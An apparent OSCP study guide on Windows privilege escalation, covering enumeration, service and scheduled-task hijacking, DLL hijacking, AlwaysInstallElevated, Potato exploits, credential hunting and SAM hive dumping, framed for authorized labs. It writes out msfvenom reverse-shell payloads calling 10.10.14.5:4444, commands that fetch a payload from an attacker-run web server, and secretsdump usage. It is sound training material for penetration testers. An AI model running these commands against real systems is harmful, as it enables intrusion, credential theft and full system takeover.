Windows privilege
escalation.
The OSCP speedrun.

Part 1 — Understand Windows permissions in 5 minutes#

1. Windows identities and access tokens#

Every process runs using an access token. That token describes the identity, group memberships, privileges, and integrity level under which the process operates.

For OSCP, Administrator membership does not automatically mean your current shell is elevated.

For example:

whoami
whoami /groups
whoami /priv
whoami /all

Look for:

• BUILTIN\Administrators: Are you an administrator?
• Mandatory Label\Medium Mandatory Level: Your process is not elevated.
• Mandatory Label\High Mandatory Level: Elevated process.
• SeImpersonatePrivilege: Potential token-impersonation attack.
• SeBackupPrivilege: Potential access to protected credential material.

A privilege shown as Disabled is not necessarily unusable. The privilege may still be present in the token and enableable by code.

2. Understand ACLs#

Windows protects files, directories, registry keys, and services through access-control lists.

You need to recognize five important file permissions:

Example:

icacls "C:\Program Files\ExampleApp\service.exe"

Suppose the result is:

BUILTIN\Users:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)

This means ordinary users have modify permissions on the executable.

If a SYSTEM service runs that executable, replacing it may allow privilege escalation.

Important additional notation:

• (I) means permission inherited from a parent.
• (OI) and (CI) indicate object and container inheritance.
• RX alone is not sufficient for modifying an executable.
• The ACL must grant effective access to your account or one of its applicable groups.

3. The most important principle#

Privilege escalation usually means crossing a security boundary using something you control.

Consider:

Your user:
    Can modify C:\Program Files\App\service.exe

Windows service:
    Runs service.exe as SYSTEM

Result:
    Your controlled executable runs as SYSTEM

That is the basic model behind service hijacking, scheduled-task abuse, DLL hijacking, and several other escalation methods.

Whenever you find something suspicious, ask:

1. What can my current user control?
2. Which account executes or consumes that object?
3. Can I make the privileged operation happen?
4. Will it execute my code with greater privileges?

If all four answers work, you probably have a viable escalation path.

Part 2 — Enumeration workflow#

Step 1: Perform immediate manual enumeration#

Run these as soon as you obtain a Windows shell.

CMD

whoami
whoami /all
hostname
systeminfo
net user
net localgroup
net localgroup administrators
ipconfig /all
netstat -ano
tasklist /svc
cmdkey /list

What you're looking for:

Also check:

Get-CimInstance Win32_OperatingSystem |
    Select Caption,Version,BuildNumber,OSArchitecture

Get-HotFix | Sort-Object InstalledOn -Descending |
    Select-Object -First 15

Get-LocalUser
Get-LocalGroupMember Administrators

Immediate decision: If SeImpersonatePrivilege appears, investigate token impersonation before spending significant time searching files.

Step 2: Run winPEAS#

Official winPEAS releases

winPEAS performs broad enumeration and highlights potentially interesting findings.

In an authorized lab, upload the executable to a writable location such as:

C:\Users\Public\winPEASx64.exe

Run it:

cd C:\Users\Public
winPEASx64.exe

The exact executable filename depends on the release you downloaded.

For a focused scan:

winPEASx64.exe systeminfo userinfo

For non-colored output:

winPEASx64.exe notcolor

The official tool documentation also supports log to save output.

How to interpret winPEAS#

Red output means investigate, not automatically exploitable.

Prioritize these findings:

Avoid treating every highlighted application, DLL, path, or outdated version as an immediate exploit.

Step 3: Run PrivescCheck#

Official PrivescCheck repository

PrivescCheck is particularly useful for identifying Windows configuration weaknesses and checking permissions from the perspective of your current user.

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck"

Extended checks with text and HTML reports:

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Report TXT,HTML"

For additional audit data:

powershell -ep bypass -c ". .\PrivescCheck.ps1; Invoke-PrivescCheck -Extended -Audit -Report ALL"

The leading . .\PrivescCheck.ps1 is PowerShell dot-sourcing syntax.

The tool's base checks identify vulnerabilities, extended checks provide supporting information, and audit checks gather broader configuration data. Its -Risky mode can trigger endpoint-security responses, so do not enable it indiscriminately.

My recommended enumeration sequence for an OSCP-style lab:

whoami /all
      |
      v
Check dangerous privileges
      |
      v
winPEAS full scan
      |
      v
PrivescCheck extended scan
      |
      v
Validate 2–3 strongest findings manually
      |
      v
Exploit strongest viable candidate

Step 4: Supporting tools#

You do not need to run everything.

winPEAS + PrivescCheck + manual commands cover most of the enumeration workflow worth prioritizing. Use the others to validate a specific hypothesis.

Part 3 — The actual privilege-escalation techniques#

This is the most important section. For every technique, understand the enumeration finding, prerequisite, exploitation logic, and execution method.

Attack 1: SeImpersonatePrivilege — Potato exploits#

High priority

This is one of the first checks to perform, especially when your foothold is through IIS, an application pool, or a service account.

The concept

Windows allows certain processes to impersonate clients connecting to them.

If a low-privilege service account has SeImpersonatePrivilege, an appropriate impersonation exploit may be able to obtain a SYSTEM token and start a SYSTEM process.

Low-privilege service account with SeImpersonate

Exploit induces privileged authentication / connection

Impersonate and duplicate the privileged token

Execute a process as SYSTEM

Detection

whoami /priv

Example:

SeImpersonatePrivilege    Enabled
SeChangeNotifyPrivilege  Enabled

This is a promising candidate. It is not an automatic guarantee of SYSTEM.

Exploitation tools

For a compatible lab target:

GodPotato.exe -cmd "cmd /c whoami"

Or:

PrintSpoofer.exe -c "cmd /c whoami"

If successful, the output should indicate SYSTEM.

To launch an interactive shell where the execution environment supports it:

PrintSpoofer.exe -i -c cmd.exe

A remote or non-interactive session may require launching a new reverse shell instead.

Troubleshooting

• SeImpersonatePrivilege is absent: This specific avenue usually is not available.
• The tool fails to impersonate: Check Windows build, required services, and the particular exploit's conditions.
• The exploit succeeds but no interactive shell appears: Use a callback payload.
• Defender blocks the binary: Treat this as a tool-execution problem, not proof that the vulnerability is absent.

Do not assume a Potato exploit works on every Windows version.

Attack 2: Weak service permissions#

High priority

This is a core Windows privilege-escalation technique in PEN-200.

The concept

A Windows service has its own security descriptor.

If you can change the configuration of a service running as SYSTEM, you may be able to change which executable it launches.

Detection

sc.exe query state= all
sc.exe qc VulnerableService

Example:

SERVICE_NAME: VulnerableService

BINARY_PATH_NAME : C:\Program Files\App\service.exe
SERVICE_START_NAME : LocalSystem
START_TYPE : 2 AUTO_START

Next, check whether you can modify that service.

Using Microsoft's AccessChk:

accesschk64.exe -accepteula -uwcqv "Authenticated Users" *

This searches for writable service permissions granted to the specified group.

A more targeted assessment can be performed using PowerUp:

. .\PowerUp.ps1
Get-ModifiableService

You are looking for permissions such as:

SERVICE_CHANGE_CONFIG
SERVICE_ALL_ACCESS

These allow meaningful service configuration changes.

Exploitation

Suppose:

• The service runs as LocalSystem.
• Your current token has SERVICE_CHANGE_CONFIG.
• You can cause the service to start.

You can change its executable path:

sc.exe config VulnerableService binPath= "C:\Users\Public\shell.exe"

The space after binPath= is required by sc.exe.

Then, if you have permission:

sc.exe stop VulnerableService
sc.exe start VulnerableService

If the replacement executable starts, it runs under the service's configured account.

Critical detail: Having permission to modify a service does not mean you can stop or start it. Those are separate rights. You may need to wait for an authorized restart or existing trigger.

A generic reverse-shell executable may run even if the Service Control Manager subsequently reports error 1053, because the executable did not implement the expected Windows service protocol.

For a real service, do not assume replacing it is harmless. Preserve its original configuration and record your changes.

Attack 3: Writable service binary#

The concept

You cannot change the service configuration, but you can overwrite the executable it already launches.

Example:

SERVICE_NAME: UpdateService

BINARY_PATH_NAME:
C:\Program Files\Acme\Updater.exe

SERVICE_START_NAME:
LocalSystem

Check the executable's ACL:

icacls "C:\Program Files\Acme\Updater.exe"

Suppose you see:

BUILTIN\Users:(M)

Your effective token may be able to modify the service binary.

Exploitation sequence

1. Confirm the service's executable path and execution account.
2. Verify the file is writable.
3. Back up the original executable where permitted.
4. Replace it with a controlled executable.
5. Trigger the service through an accessible start mechanism.
6. Receive a callback as the service account.

Example commands:

copy "C:\Program Files\Acme\Updater.exe" C:\Users\Public\Updater.bak

copy C:\Users\Public\shell.exe "C:\Program Files\Acme\Updater.exe"

sc.exe start UpdateService

Again, starting the service requires appropriate service rights.

Distinction worth memorizing

PowerUp can identify relevant files:

Get-ModifiableServiceFile

Attack 4: Unquoted service paths#

The concept

Windows may interpret unquoted executable paths with spaces ambiguously.

Suppose a service is configured as:

C:\Program Files\Acme Corp\Updater\service.exe

Without quotation marks, Windows may try executable candidates resembling:

C:\Program.exe
C:\Program Files\Acme.exe
C:\Program Files\Acme Corp\Updater\service.exe

If you can place an executable at an earlier candidate location, Windows may execute it instead.

Detection

wmic service get name,displayname,pathname,startname

On modern Windows, where wmic may be unavailable:

Get-CimInstance Win32_Service |
    Select-Object Name,StartName,PathName

Or PowerUp:

Get-UnquotedService

Validate the actual vulnerability

An unquoted path is not enough.

You need three conditions:

1. An unquoted path with an exploitable space.
2. Write access to one of the executable candidate locations.
3. A service that executes with higher privileges and can be triggered.

For example:

icacls "C:\Program Files"

If the directory is not writable, you cannot simply create Acme.exe there.

Exploitation example

If the appropriate path is writable:

copy C:\Users\Public\shell.exe "C:\Program Files\Acme.exe"

Then trigger the service.

Exam trap: winPEAS may flag unquoted paths that are not actually exploitable because their parent directories are protected.

Read the full command line too. Unquoted arguments or unusual service wrappers can change the interpretation.

Attack 5: Scheduled-task abuse#

The concept

Windows Task Scheduler executes programs and scripts at configured times or when triggers fire.

Suppose:

Task: BackupTask
Run As: SYSTEM
Action: C:\Scripts\backup.ps1
Trigger: Every 5 minutes

If the script is writable by your account, you may be able to make SYSTEM execute controlled instructions.

Detection

schtasks /query /fo LIST /v

PowerShell:

Get-ScheduledTask |
    Select-Object TaskName,TaskPath,State,Actions

For a specific task:

schtasks /query /tn "\BackupTask" /xml

And using PowerUp:

Get-ModifiableScheduledTaskFile

Validation

Check:

• Which account the task runs as.
• Which executable or script it invokes.
• Whether you can modify the file.
• When it runs.
• Whether you can trigger it manually.

For example:

icacls "C:\Scripts\backup.ps1"

If your account has write access and the task runs as SYSTEM, this is a strong escalation candidate.

Exploitation

In an authorized lab, a simple proof can be to add a command to a writable script that launches your callback payload:

Start-Process "C:\Users\Public\shell.exe"

Then wait for the task's normal trigger.

If task permissions allow on-demand execution:

schtasks /run /tn "\BackupTask"

The new process should inherit the configured task account, subject to how the task launches the script.

Important: Check the task's arguments, not just the executable.

For example:

Program:
C:\Windows\System32\cmd.exe

Arguments:
/c C:\Scripts\backup.bat

The interesting file is backup.bat, not cmd.exe.

HackTricks explicitly calls out this distinction.

Attack 6: DLL hijacking#

The concept

A privileged application attempts to load a DLL.

If you control a location where Windows searches for that DLL, you may be able to have your own DLL loaded into the privileged process.

Example:

SYSTEM service starts:
C:\Program Files\Acme\service.exe

Application attempts to load:
helper.dll

Actual search path includes:
C:\Program Files\Acme\helper.dll

Directory is writable by Users.

If the application actually loads that DLL from the writable location, you have a potential escalation route.

Enumeration

Look for:

• Writable application directories.
• DLLs loaded by SYSTEM processes.
• Missing DLL dependencies.
• Writable directories in DLL search paths.

Quick checks:

echo %PATH%
icacls "C:\Program Files\Acme"

PowerUp:

Find-ProcessDLLHijack
Find-PathDLLHijack

In a lab, Process Monitor can help identify missing DLL lookups and their search paths.

Exploitation

Generate a DLL payload, for example:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f dll -o helper.dll

Place it at the confirmed writable DLL-loading location and trigger the privileged application.

What can go wrong

• The DLL is never loaded from that location.
• Windows resolves the DLL through KnownDLLs or another higher-priority location.
• The application expects specific exported functions.
• The malicious DLL crashes the application.
• The service cannot be restarted.

DLL hijacking is worth understanding, but validating the exact loading behavior matters more than blindly dropping DLLs into directories.

Attack 7: AlwaysInstallElevated#

This is a straightforward Windows Installer misconfiguration.

The concept

When a particular pair of Windows Installer policies is enabled, a low-privilege user may be able to run an MSI installer with elevated privileges.

Detection

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

You need both to be enabled:

AlwaysInstallElevated    REG_DWORD    0x1

Exploitation

On Kali:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f msi -o shell.msi

Transfer the MSI to the target.

Execute:

msiexec /quiet /qn /i C:\Users\Public\shell.msi

Catch the callback.

The policy's purpose and the requirement that both registry settings be enabled are documented in HackTricks.

If only one setting is enabled, do not assume the attack works.

Attack 8: Credential hunting#

High priority

Sometimes the simplest way to escalate privileges is to find a privileged user's password.

A password does not need to belong to the current account. It may be present in a deployment script, configuration file, or saved credential store.

A. PowerShell history#

Check:

(Get-PSReadLineOption).HistorySavePath

Then:

Get-Content (Get-PSReadLineOption).HistorySavePath

Or from CMD:

type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

Possible finding:

net use \\fileserver\backup /user:administrator SuperSecret123

Now you have a credential candidate.

Validate the credential's account and scope before attempting to use it.

B. Saved Windows credentials#

cmdkey /list

Example:

Target: Domain:interactive=HOST\Administrator
User: HOST\Administrator

Where the credential is compatible with runas /savecred, an authorized test can look like:

runas /savecred /user:HOST\Administrator "cmd.exe"

The saved-credential target and policy must support this. cmdkey /list does not reveal the password or guarantee that every saved entry is usable for a new elevated logon.

C. Unattended installation files#

Search common locations:

dir C:\Windows\Panther /a
dir C:\Windows\System32\Sysprep /a

Relevant filenames include:

Unattend.xml
Unattended.xml
sysprep.xml
sysprep.inf

These may contain setup credentials, sometimes encoded rather than protected securely.

D. Application configuration files#

Useful locations:

C:\inetpub\wwwroot\
C:\xampp\
C:\ProgramData\
C:\Scripts\
C:\Backup\
C:\Users\Public\

Look for:

web.config
appsettings.json
database.yml
config.ini
settings.xml
*.ps1
*.bat
*.config

A focused PowerShell search:

Get-ChildItem C:\inetpub,C:\Scripts,C:\Backup `
    -Recurse -File -ErrorAction SilentlyContinue |
    Select-String -Pattern 'password','passwd','pwd','secret' `
    -ErrorAction SilentlyContinue

This avoids searching the entire C:\ drive unnecessarily.

E. Registry credentials#

Check the Winlogon key:

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Interesting values:

DefaultUserName
DefaultDomainName
DefaultPassword
AltDefaultPassword

A username is not a credential. A readable nonempty password value is considerably more interesting.

F. IIS credentials#

If IIS is present, investigate:

applicationHost.config
web.config
IIS application pool identities

The IIS configuration utility may be located at:

C:\Windows\System32\inetsrv\appcmd.exe

Whether sensitive values are readable depends on the current account's permissions and the application's configuration.

What to do when a password is found

Identify the account, check group membership, then determine whether the credential works for a legitimate logon mechanism.

For an authorized lab, runas may be appropriate:

runas /user:.\Administrator cmd.exe

This prompts for the password.

runas /netonly does not give you the target account's local privileges; it primarily changes the credentials used for outgoing network access.

Attack 9: Dangerous privileges beyond SeImpersonate#

whoami /priv can reveal several other escalation opportunities.

Example: SeBackupPrivilege#

If you have a suitable backup-capable context, you may be able to save registry hives containing local credential material.

reg save HKLM\SAM C:\Users\Public\SAM.save
reg save HKLM\SYSTEM C:\Users\Public\SYSTEM.save

These operations are permission- and privilege-dependent; the reg save command alone does not guarantee success.

If you successfully obtain both hives in a permitted lab environment, offline analysis can extract local account hashes:

impacket-secretsdump -sam SAM.save -system SYSTEM.save LOCAL

A hash is not the same as an elevated shell.

You still need a working authentication path, usable account, appropriate rights, and applicable pass-the-hash support.

For OSCP, remember that OffSec restricts downloading files from the exam environment unless necessary for compromising the target, with deletion required afterward.

SeDebugPrivilege#

This is associated with debugging privileged processes.

Possible avenues include:

• Obtaining access to non-protected higher-privilege processes.
• Working with their tokens.
• Creating a process using an appropriately duplicated token.

It is not a universal bypass of Protected Process Light, Credential Guard, or other Windows protections.

Attack 10: UAC bypass#

This technique is different from ordinary privilege escalation.

Suppose:

Your account:
    Member of Administrators

Current process:
    Medium integrity

You may already possess administrative membership, but your process is running with a filtered token.

Check:

whoami /groups

And:

reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

Important settings include:

EnableLUA
ConsentPromptBehaviorAdmin
PromptOnSecureDesktop

A UAC bypass targets the elevation mechanism. It does not normally turn an ordinary non-administrator account into an administrator.

Known methods have included abuse of auto-elevating Windows executables and associated registry handlers, but their applicability changes with Windows builds and security configurations.

Exam distinction:

Standard user → Administrator/SYSTEM
    Actual privilege escalation required

Local administrator, medium integrity → high integrity
    UAC/elevation problem

High integrity administrator → SYSTEM
    Separate elevation step, if needed

Do not spend time attempting UAC bypasses when your account has no administrator membership and the chosen method requires a filtered administrator token.

Attack 11: Autoruns, registry permissions, and writable application directories#

These are all variations of the same problem: a privileged component trusts something a lower-privileged user can modify.

Autorun enumeration

reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run

The important difference:

• HKCU affects the current user's context.
• HKLM can contain machine-wide startup registrations, but execution privileges depend on which user or component processes the entry.

Writable autoruns are not automatically SYSTEM escalation.

For registry ACL inspection:

Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\ExampleService" |
    Format-List

For readable details about specific principals:

(Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\ExampleService").Access

A writable service registry key or application configuration file may provide an escalation route if a privileged service consumes the modified setting.

The same principle applies to a writable directory containing a privileged application's executable, DLLs, or plugin configuration.

Attack 12: Vulnerable software and local kernel exploits#

Use this category after checking straightforward misconfigurations.

Detection

systeminfo

Get-HotFix

List applications and drivers:

Get-CimInstance Win32_Product

Avoid using the above Win32_Product command casually on production systems: it can trigger MSI consistency checks and reconfiguration. Prefer uninstall registry entries or specific application version checks.

For application inventory:

Get-ItemProperty `
    HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\*,
    HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* `
    -ErrorAction SilentlyContinue |
    Select DisplayName,DisplayVersion

Use WES-NG on Kali

Collect OS information from Windows:

systeminfo > systeminfo.txt

Then:

python3 wes.py systeminfo.txt

Update the WES-NG database before the exam or lab:

python3 wes.py --update

WES-NG suggests potential vulnerabilities based on system and patch information; its maintainers explicitly warn about false positives.

Next Generation · GitHub

How to determine whether a CVE is useful

Check all of these:

1. Is the installed version affected?
2. Is the vulnerability patched?
3. Does the exploit support the exact OS build?
4. Does it require an existing administrator or special privilege?
5. Does it require a service, driver, or feature to be active?
6. Is the public PoC reliable and compatible with your architecture?
7. Can the exploit destabilize the machine?

A CVE appearing in a scanner report does not prove exploitability.

This is why kernel exploitation should generally follow simpler, validated configuration-based routes.

Part 4 — How to execute your escalation#

You should have a standard method of obtaining a new shell once you find a viable execution vector.

1. Prepare a reverse-shell executable#

On Kali, create a non-Meterpreter Windows payload for a lab target:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o shell.exe

10.10.14.5 represents your reachable VPN address.

Start a listener:

rlwrap nc -lvnp 4444

2. Transfer the payload#

Host files from Kali:

python3 -m http.server 8000

Download from the Windows target:

Invoke-WebRequest http://10.10.14.5:8000/shell.exe -OutFile C:\Users\Public\shell.exe

Or:

curl http://10.10.14.5:8000/shell.exe -o C:\Users\Public\shell.exe

3. Trigger the selected escalation vector#

Depending on what you found:

4. Verify the new identity#

In the new shell:

whoami
whoami /all
hostname
ipconfig

Expected result for SYSTEM:

nt authority\system

You now have proof that code execution crossed the intended privilege boundary.

A useful troubleshooting rule: if a callback arrives with the same low-privilege identity, the payload executed, but the escalation did not occur in the desired privileged context.

Part 5 — How to choose between findings#

This decision matrix is the part to internalize rather than memorizing every exploit.

A practical prioritization rule#

Use three factors to rank each candidate:

Confidence: Are the exploitation prerequisites actually satisfied?

Triggerability: Can the vulnerable action be made to run without rebooting the target or waiting indefinitely?

Reliability: Is the technique unlikely to crash the machine, lose access, or destroy evidence?

For example:

Finding A:
    Writable SYSTEM service executable
    Service can be started
    ACL verified
    High priority

Finding B:
    Unquoted path
    No writable parent directory
    Reject

Finding C:
    25 possible kernel CVEs
    Patch status uncertain
    Research later

This prevents spending the exam reading unrelated exploit descriptions.

Part 6 — Three realistic OSCP-style walkthroughs#

Scenario A — Initial shell as IIS application pool user#

You compromise a web application and receive a shell:

whoami

iis apppool\defaultapppool

You immediately run:

whoami /priv

Output:

SeImpersonatePrivilege    Enabled

Your reasoning:

1. IIS account is not SYSTEM.
2. The token has impersonation privileges.
3. You have a potential impersonation-based elevation vector.
4. You need to determine which exploit works on this Windows build.

You identify a compatible technique and, in the lab, test:

GodPotato.exe -cmd "cmd /c whoami"

Output:

nt authority\system

Then use the same technique to launch a proper SYSTEM shell and collect your evidence.

Lesson: One useful line from whoami /priv can be more valuable than hundreds of winPEAS findings.

Scenario B — A writable service executable#

You gain access as:

workstation\student

PrivescCheck finds:

ServiceName: BackupService
RunAs: LocalSystem
ImagePath: C:\BackupTools\backup.exe
CurrentUserCanWrite: True

Manual verification:

sc.exe qc BackupService

icacls C:\BackupTools\backup.exe

You confirm that your account has modify access and the service runs as SYSTEM.

You investigate its start permissions:

accesschk64.exe -accepteula -ucqv "student" BackupService

Suppose the service can be started by your account.

In the lab, you back up the existing executable, replace it with a controlled executable, and start the service.

Your callback arrives:

whoami

nt authority\system

Lesson: The real finding was not "a vulnerable service." It was the combination of a privileged execution context, a writable file, and a reachable trigger.

Scenario C — No obvious misconfiguration#

You obtain a low-privilege shell.

Your enumeration shows:

SeImpersonate: Absent
AlwaysInstallElevated: Not enabled
Modifiable services: None
Writable privileged task files: None

Now you investigate application and credential footprints.

You discover:

C:\Scripts\deployment.ps1

The script is readable and contains credentials used by a deployment account.

You determine that the credentials belong to a local administrator and validate them through an authorized authentication mechanism.

An elevated shell becomes available.

Lesson: Not every privilege escalation is a software vulnerability. Credentials and trust relationships can be the entire attack path.

Part 7 — Common mistakes and fixes#

One particularly useful diagnostic distinction:

Write access to a file does not automatically mean you can execute that file with greater privileges.

You need a privileged consumer of that file. That is what turns a filesystem misconfiguration into privilege escalation.

Part 8 — The compact exam cheat sheet#

This is what I would put into my offline notes.

Windows PrivEsc Quick Reference

:: Identity
whoami /all
systeminfo
net localgroup administrators

:: Dangerous privileges
whoami /priv

:: Automatic enumeration
winPEASx64.exe

:: Services
sc.exe query state= all
sc.exe qc SERVICE
icacls "C:\Path\service.exe"

:: Scheduled tasks
schtasks /query /fo LIST /v

:: Saved credentials
cmdkey /list

:: PowerShell history
type "%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt"

:: Installer policy
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

:: Final verification
whoami /all
ipconfig

Part 9 — What is worth learning, and what can be skipped#

HackTricks covers far more than you need for a basic OSCP local privilege escalation workflow. It includes advanced kernel, token, credential, IPC, and niche application attacks.

The current PEN-200 material specifically emphasizes Windows enumeration, service binary and DLL hijacking, unquoted paths, scheduled tasks, and exploitation of other Windows components.

Use the following proficiency targets:

The final thing to internalize is a general method, not a particular command:

An exploitable Windows privilege-escalation finding must connect an action you can perform to a privileged action you can cause.

If winPEAS reports 200 interesting things, but only one leads to a writable executable launched by SYSTEM, that one finding is where your effort belongs.

OSCP exam-specific requirements#

According to OffSec's exam guide updated October 21, 2026:

• msfvenom and multi/handler are permitted against all exam targets, subject to the separate Meterpreter restriction.
• Metasploit modules and Meterpreter are restricted to one chosen target.
• Automatic exploitation tools and mass vulnerability scanners are prohibited.
• AI chatbots are prohibited during the exam; this material is for preparation and offline study.
• For full Windows target points, you must demonstrate an authorized elevated shell and provide the required proof-file screenshot with target IP information.
• The proof must be displayed through type or cat in an interactive shell on the target, not through a web shell.

The single most important skill for the exam is distinguishing a potential issue from an actionable escalation path. Once you can identify the required permissions, execution account, and trigger, Windows privilege escalation becomes a systematic problem rather than trial and error.